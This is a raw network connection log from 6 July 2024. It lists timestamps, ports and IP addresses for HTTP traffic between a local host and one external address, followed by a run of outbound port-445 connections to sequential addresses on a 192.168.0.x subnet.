Jul 6, 2024 14:10:21.753959894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.753978968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.753990889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754009008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754036903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754076004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754087925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754097939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754110098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754118919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754121065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754134893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754160881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754328012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754338980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754350901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754371881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754379034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754390001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754395008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754401922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754412889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754414082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754426003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754436970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754445076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754446983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754458904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754468918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754475117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754486084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754487038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754498959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754513979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754538059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754898071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754909039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754920006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754933119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754944086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754949093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754952908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.754978895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.754990101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755181074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755192041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755202055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755212069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755222082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755222082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755233049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755244017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755251884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755254030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755264044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755265951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755276918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755291939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755304098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755310059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755314112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755323887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755333900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755343914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755350113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755353928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755364895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755366087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755374908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755384922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755388021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755393982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755403996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755410910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755414963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755424976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755429983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.755434990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.755445004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.756036043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.756047964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.756062984 CEST	445	49749	192.168.0.10	192.168.2.4
Jul 6, 2024 14:10:21.756062031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.756072998 CEST	445	49750	192.168.0.11	192.168.2.4
Jul 6, 2024 14:10:21.756082058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.756083965 CEST	445	49751	192.168.0.12	192.168.2.4
Jul 6, 2024 14:10:21.756093979 CEST	445	49752	192.168.0.13	192.168.2.4
Jul 6, 2024 14:10:21.756103992 CEST	445	49753	192.168.0.14	192.168.2.4
Jul 6, 2024 14:10:21.756114006 CEST	445	49754	192.168.0.15	192.168.2.4
Jul 6, 2024 14:10:21.756125927 CEST	445	49755	192.168.0.16	192.168.2.4
Jul 6, 2024 14:10:21.756124973 CEST	49749	445	192.168.2.4	192.168.0.10
Jul 6, 2024 14:10:21.756135941 CEST	445	49756	192.168.0.17	192.168.2.4
Jul 6, 2024 14:10:21.756145000 CEST	445	49757	192.168.0.18	192.168.2.4
Jul 6, 2024 14:10:21.756154060 CEST	445	49748	192.168.0.9	192.168.2.4
Jul 6, 2024 14:10:21.756164074 CEST	445	49758	192.168.0.19	192.168.2.4
Jul 6, 2024 14:10:21.756174088 CEST	445	49759	192.168.0.20	192.168.2.4
Jul 6, 2024 14:10:21.756184101 CEST	445	49760	192.168.0.21	192.168.2.4
Jul 6, 2024 14:10:21.756191969 CEST	49750	445	192.168.2.4	192.168.0.11
Jul 6, 2024 14:10:21.756194115 CEST	445	49761	192.168.0.22	192.168.2.4
Jul 6, 2024 14:10:21.756202936 CEST	445	49762	192.168.0.23	192.168.2.4
Jul 6, 2024 14:10:21.756207943 CEST	49751	445	192.168.2.4	192.168.0.12
Jul 6, 2024 14:10:21.756207943 CEST	49752	445	192.168.2.4	192.168.0.13
Jul 6, 2024 14:10:21.756207943 CEST	49753	445	192.168.2.4	192.168.0.14
Jul 6, 2024 14:10:21.756207943 CEST	49754	445	192.168.2.4	192.168.0.15
Jul 6, 2024 14:10:21.756259918 CEST	49748	445	192.168.2.4	192.168.0.9
Jul 6, 2024 14:10:21.756290913 CEST	49755	445	192.168.2.4	192.168.0.16
Jul 6, 2024 14:10:21.756290913 CEST	49756	445	192.168.2.4	192.168.0.17
Jul 6, 2024 14:10:21.756309032 CEST	49757	445	192.168.2.4	192.168.0.18
Jul 6, 2024 14:10:21.756313086 CEST	49758	445	192.168.2.4	192.168.0.19
Jul 6, 2024 14:10:21.756329060 CEST	49759	445	192.168.2.4	192.168.0.20
Jul 6, 2024 14:10:21.756377935 CEST	49761	445	192.168.2.4	192.168.0.22
Jul 6, 2024 14:10:21.756381989 CEST	49760	445	192.168.2.4	192.168.0.21
Jul 6, 2024 14:10:21.756381989 CEST	49762	445	192.168.2.4	192.168.0.23
Jul 6, 2024 14:10:21.756550074 CEST	49750	445	192.168.2.4	192.168.0.11
Jul 6, 2024 14:10:21.756550074 CEST	49749	445	192.168.2.4	192.168.0.10
Jul 6, 2024 14:10:21.756691933 CEST	49759	445	192.168.2.4	192.168.0.20
Jul 6, 2024 14:10:21.756714106 CEST	49760	445	192.168.2.4	192.168.0.21
Jul 6, 2024 14:10:21.756814003 CEST	49756	445	192.168.2.4	192.168.0.17
Jul 6, 2024 14:10:21.756843090 CEST	49757	445	192.168.2.4	192.168.0.18
Jul 6, 2024 14:10:21.756910086 CEST	49755	445	192.168.2.4	192.168.0.16
Jul 6, 2024 14:10:21.756922960 CEST	49761	445	192.168.2.4	192.168.0.22
Jul 6, 2024 14:10:21.756966114 CEST	49758	445	192.168.2.4	192.168.0.19
Jul 6, 2024 14:10:21.757110119 CEST	49754	445	192.168.2.4	192.168.0.15
Jul 6, 2024 14:10:21.757483006 CEST	49763	445	192.168.2.4	192.168.0.24
Jul 6, 2024 14:10:21.757814884 CEST	49752	445	192.168.2.4	192.168.0.13
Jul 6, 2024 14:10:21.757878065 CEST	49751	445	192.168.2.4	192.168.0.12
Jul 6, 2024 14:10:21.762027979 CEST	445	49749	192.168.0.10	192.168.2.4
Jul 6, 2024 14:10:21.762424946 CEST	445	49754	192.168.0.15	192.168.2.4
Jul 6, 2024 14:10:21.762433052 CEST	445	49758	192.168.0.19	192.168.2.4
Jul 6, 2024 14:10:21.762439966 CEST	445	49761	192.168.0.22	192.168.2.4
Jul 6, 2024 14:10:21.762448072 CEST	445	49755	192.168.0.16	192.168.2.4
Jul 6, 2024 14:10:21.762455940 CEST	445	49757	192.168.0.18	192.168.2.4
Jul 6, 2024 14:10:21.762463093 CEST	445	49756	192.168.0.17	192.168.2.4
Jul 6, 2024 14:10:21.762470961 CEST	445	49760	192.168.0.21	192.168.2.4
Jul 6, 2024 14:10:21.762547970 CEST	445	49759	192.168.0.20	192.168.2.4
Jul 6, 2024 14:10:21.762557030 CEST	445	49750	192.168.0.11	192.168.2.4
Jul 6, 2024 14:10:21.762564898 CEST	445	49750	192.168.0.11	192.168.2.4
Jul 6, 2024 14:10:21.762615919 CEST	49749	445	192.168.2.4	192.168.0.10
Jul 6, 2024 14:10:21.762651920 CEST	445	49763	192.168.0.24	192.168.2.4
Jul 6, 2024 14:10:21.762660027 CEST	49750	445	192.168.2.4	192.168.0.11
Jul 6, 2024 14:10:21.762706995 CEST	49763	445	192.168.2.4	192.168.0.24
Jul 6, 2024 14:10:21.762773991 CEST	49762	445	192.168.2.4	192.168.0.23
Jul 6, 2024 14:10:21.762798071 CEST	49763	445	192.168.2.4	192.168.0.24
Jul 6, 2024 14:10:21.763268948 CEST	445	49751	192.168.0.12	192.168.2.4
Jul 6, 2024 14:10:21.763317108 CEST	49751	445	192.168.2.4	192.168.0.12
Jul 6, 2024 14:10:21.763636112 CEST	445	49752	192.168.0.13	192.168.2.4
Jul 6, 2024 14:10:21.764272928 CEST	49752	445	192.168.2.4	192.168.0.13
Jul 6, 2024 14:10:21.765407085 CEST	445	49754	192.168.0.15	192.168.2.4
Jul 6, 2024 14:10:21.765417099 CEST	445	49755	192.168.0.16	192.168.2.4
Jul 6, 2024 14:10:21.765424967 CEST	445	49756	192.168.0.17	192.168.2.4
Jul 6, 2024 14:10:21.765446901 CEST	445	49757	192.168.0.18	192.168.2.4
Jul 6, 2024 14:10:21.765460968 CEST	49755	445	192.168.2.4	192.168.0.16
Jul 6, 2024 14:10:21.765470982 CEST	49754	445	192.168.2.4	192.168.0.15
Jul 6, 2024 14:10:21.765480995 CEST	49756	445	192.168.2.4	192.168.0.17
Jul 6, 2024 14:10:21.765501022 CEST	49757	445	192.168.2.4	192.168.0.18
Jul 6, 2024 14:10:21.765976906 CEST	445	49758	192.168.0.19	192.168.2.4
Jul 6, 2024 14:10:21.766292095 CEST	445	49759	192.168.0.20	192.168.2.4
Jul 6, 2024 14:10:21.766338110 CEST	49758	445	192.168.2.4	192.168.0.19
Jul 6, 2024 14:10:21.766345978 CEST	49759	445	192.168.2.4	192.168.0.20
Jul 6, 2024 14:10:21.766777992 CEST	445	49761	192.168.0.22	192.168.2.4
Jul 6, 2024 14:10:21.767546892 CEST	445	49760	192.168.0.21	192.168.2.4
Jul 6, 2024 14:10:21.767585993 CEST	49761	445	192.168.2.4	192.168.0.22
Jul 6, 2024 14:10:21.767601013 CEST	49760	445	192.168.2.4	192.168.0.21
Jul 6, 2024 14:10:21.770365953 CEST	49753	445	192.168.2.4	192.168.0.14
Jul 6, 2024 14:10:21.771912098 CEST	49764	445	192.168.2.4	192.168.0.25
Jul 6, 2024 14:10:21.773443937 CEST	445	49762	192.168.0.23	192.168.2.4
Jul 6, 2024 14:10:21.774561882 CEST	445	49763	192.168.0.24	192.168.2.4
Jul 6, 2024 14:10:21.774571896 CEST	445	49763	192.168.0.24	192.168.2.4
Jul 6, 2024 14:10:21.774640083 CEST	49762	445	192.168.2.4	192.168.0.23
Jul 6, 2024 14:10:21.774655104 CEST	49763	445	192.168.2.4	192.168.0.24
Jul 6, 2024 14:10:21.779056072 CEST	445	49764	192.168.0.25	192.168.2.4
Jul 6, 2024 14:10:21.779134989 CEST	445	49753	192.168.0.14	192.168.2.4
Jul 6, 2024 14:10:21.779195070 CEST	49753	445	192.168.2.4	192.168.0.14
Jul 6, 2024 14:10:21.779208899 CEST	49764	445	192.168.2.4	192.168.0.25
Jul 6, 2024 14:10:21.779323101 CEST	49764	445	192.168.2.4	192.168.0.25
Jul 6, 2024 14:10:21.786839962 CEST	445	49764	192.168.0.25	192.168.2.4
Jul 6, 2024 14:10:21.787013054 CEST	49765	445	192.168.2.4	192.168.0.26
Jul 6, 2024 14:10:21.787030935 CEST	49764	445	192.168.2.4	192.168.0.25
Jul 6, 2024 14:10:21.791930914 CEST	445	49765	192.168.0.26	192.168.2.4
Jul 6, 2024 14:10:21.792010069 CEST	49765	445	192.168.2.4	192.168.0.26
Jul 6, 2024 14:10:21.801594973 CEST	49765	445	192.168.2.4	192.168.0.26
Jul 6, 2024 14:10:21.802551031 CEST	49766	445	192.168.2.4	192.168.0.27
Jul 6, 2024 14:10:21.807230949 CEST	445	49765	192.168.0.26	192.168.2.4
Jul 6, 2024 14:10:21.807305098 CEST	49765	445	192.168.2.4	192.168.0.26
Jul 6, 2024 14:10:21.808475018 CEST	445	49766	192.168.0.27	192.168.2.4
Jul 6, 2024 14:10:21.808535099 CEST	49766	445	192.168.2.4	192.168.0.27
Jul 6, 2024 14:10:21.817214966 CEST	49766	445	192.168.2.4	192.168.0.27
Jul 6, 2024 14:10:21.818165064 CEST	49767	445	192.168.2.4	192.168.0.28
Jul 6, 2024 14:10:21.823004007 CEST	445	49766	192.168.0.27	192.168.2.4
Jul 6, 2024 14:10:21.823060989 CEST	49766	445	192.168.2.4	192.168.0.27
Jul 6, 2024 14:10:21.825241089 CEST	445	49767	192.168.0.28	192.168.2.4
Jul 6, 2024 14:10:21.825303078 CEST	49767	445	192.168.2.4	192.168.0.28
Jul 6, 2024 14:10:21.832840919 CEST	49767	445	192.168.2.4	192.168.0.28
Jul 6, 2024 14:10:21.833868980 CEST	49768	445	192.168.2.4	192.168.0.29
Jul 6, 2024 14:10:21.841686964 CEST	445	49767	192.168.0.28	192.168.2.4
Jul 6, 2024 14:10:21.841697931 CEST	445	49768	192.168.0.29	192.168.2.4
Jul 6, 2024 14:10:21.841736078 CEST	49767	445	192.168.2.4	192.168.0.28
Jul 6, 2024 14:10:21.841769934 CEST	49768	445	192.168.2.4	192.168.0.29
Jul 6, 2024 14:10:21.841873884 CEST	49768	445	192.168.2.4	192.168.0.29
Jul 6, 2024 14:10:21.847273111 CEST	445	49768	192.168.0.29	192.168.2.4
Jul 6, 2024 14:10:21.847327948 CEST	49768	445	192.168.2.4	192.168.0.29
Jul 6, 2024 14:10:21.847662926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.847722054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.847721100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.847733021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.847760916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.847778082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.847877979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.847889900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.847929001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.848006964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848017931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848028898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848053932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.848067045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.848387957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848398924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848409891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848448038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.848583937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848593950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848634005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.848669052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848680973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848706007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.848736048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.848795891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848814011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848824024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848836899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.848850012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.848989010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.848999023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849010944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849037886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.849054098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.849087000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849164963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849204063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.849348068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849358082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849368095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849391937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.849416971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.849462032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849471092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849482059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849503040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.849518061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.849528074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849561930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.849597931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849611998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849646091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.849781036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849831104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.849864006 CEST	49769	445	192.168.2.4	192.168.0.30
Jul 6, 2024 14:10:21.849867105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.850199938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850244999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.850264072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850275993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850286007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850308895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.850341082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.850419044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850442886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850485086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.850492001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850502968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850513935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850528955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.850538969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.850554943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850559950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.850564957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.850590944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.851068974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851111889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.851128101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851142883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851181030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.851207018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851320982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.851425886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851469040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.851507902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851517916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851527929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851551056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.851574898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.851828098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851838112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851846933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851866961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851872921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.851877928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.851890087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.851908922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.852349997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852360010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852371931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852390051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852396011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.852413893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.852441072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.852607012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852650881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.852674961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852685928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852718115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.852741003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852751970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852761984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:21.852787018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.852797985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:21.856336117 CEST	445	49769	192.168.0.30	192.168.2.4
Jul 6, 2024 14:10:21.856405020 CEST	49769	445	192.168.2.4	192.168.0.30
Jul 6, 2024 14:10:21.864098072 CEST	49769	445	192.168.2.4	192.168.0.30
Jul 6, 2024 14:10:21.865081072 CEST	49770	445	192.168.2.4	192.168.0.31
Jul 6, 2024 14:10:21.869437933 CEST	445	49769	192.168.0.30	192.168.2.4
Jul 6, 2024 14:10:21.869498968 CEST	49769	445	192.168.2.4	192.168.0.30
Jul 6, 2024 14:10:21.870510101 CEST	445	49770	192.168.0.31	192.168.2.4
Jul 6, 2024 14:10:21.870570898 CEST	49770	445	192.168.2.4	192.168.0.31
Jul 6, 2024 14:10:21.870646954 CEST	49770	445	192.168.2.4	192.168.0.31
Jul 6, 2024 14:10:21.876699924 CEST	445	49770	192.168.0.31	192.168.2.4
Jul 6, 2024 14:10:21.876766920 CEST	49770	445	192.168.2.4	192.168.0.31
Jul 6, 2024 14:10:21.880698919 CEST	49771	445	192.168.2.4	192.168.0.32
Jul 6, 2024 14:10:21.885843992 CEST	445	49771	192.168.0.32	192.168.2.4
Jul 6, 2024 14:10:21.885938883 CEST	49771	445	192.168.2.4	192.168.0.32
Jul 6, 2024 14:10:21.895395994 CEST	49771	445	192.168.2.4	192.168.0.32
Jul 6, 2024 14:10:21.896576881 CEST	49772	445	192.168.2.4	192.168.0.33
Jul 6, 2024 14:10:21.900621891 CEST	445	49771	192.168.0.32	192.168.2.4
